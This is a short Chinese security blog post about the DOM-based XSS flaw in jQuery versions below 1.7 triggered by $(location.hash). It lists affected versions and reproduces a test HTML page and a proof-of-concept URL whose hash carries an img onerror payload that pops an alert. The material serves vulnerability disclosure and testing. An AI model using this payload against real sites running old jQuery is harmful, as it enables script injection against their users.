jQuery跨站脚本漏洞XSS with $(location.hash)漏洞

admin 2017年10月23日17:27:33WEB安全评论2,296 次浏览阅读模式

jquery下载地址:https://code.jquery.com/jquery/

影响范围:

    版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷,可能导致LOCATION.HASH跨站漏洞

已测试成功版本:

    jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js

    jquery-1.5所有版本

    jquery-1.4所有版本

    jquery-1.3所有版本

    jquery-1.2所有版本

测试:

启动nginx,并建立index.html页面,内容如下:

漏洞发现者给的测试代码:

<html>

<head>

    <title>JQuery-xss-test</title>

    <script src="https://code.jquery.com/jquery-1.6.1.min.js"></script>

    <script>

    $(function(){

    try { $(location.hash) } catch(e) {}

    })

    </script>

</head>

<body>

    Jquery xss test.

</body>

</html>

访问地址:

http://localhost/#<img src=/ onerror=alert(/F4ckTeam/)>

测试截图:

jQuery跨站脚本漏洞XSS with $(location.hash)漏洞

本文出自 “Mask_X 博客” 博客,请务必保留此出处http://zhpfbk.blog.51cto.com/4757027/1878396

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2017年10月23日17:27:33
  • 转载请务必保留本文链接:https://anyun.org/a/jishuguanzhu/webjishu/2017/1023/9260.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: